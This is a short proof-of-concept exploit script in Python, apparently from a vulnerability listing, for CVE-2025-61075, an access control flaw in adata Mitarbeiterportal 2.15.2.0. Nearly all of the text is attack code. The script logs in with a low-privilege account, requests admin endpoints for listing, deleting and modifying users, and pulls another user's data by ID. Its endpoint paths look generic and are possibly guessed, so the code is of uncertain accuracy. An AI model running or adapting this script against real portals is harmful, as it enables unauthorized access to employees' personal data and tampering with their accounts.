CVE-2025-61075 | adata Mitarbeiterportal 访问控制错误漏洞

import requests import json # CVE-2025-61075 PoC - Incorrect Access Control in adata Mitarbeiterportal # Target: adata Software GmbH Mitarbeiterportal 2.15.2.0 TARGET_URL = "https://target-server.com" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit(): # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Logged in with low-privilege account") # Step 2: Exploit vertical privilege escalation - Admin functions admin_headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } # Example: Access admin user management endpoint admin_endpoints = [ "/api/admin/users", "/api/admin/users/{user_id}/delete", "/api/admin/users/{user_id}/modify" ] for endpoint in admin_endpoints: resp = session.get(f"{TARGET_URL}{endpoint}", headers=admin_headers) if resp.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f" Response: {resp.text[:200]}") # Step 3: Exploit horizontal privilege escalation - Other user data other_user_id = 12345 # Target user ID data_resp = session.get( f"{TARGET_URL}/api/users/{other_user_id}/data", headers=admin_headers ) if data_resp.status_code == 200: print(f"[+] Successfully accessed other user's data: {data_resp.json()}") if __name__ == "__main__": exploit()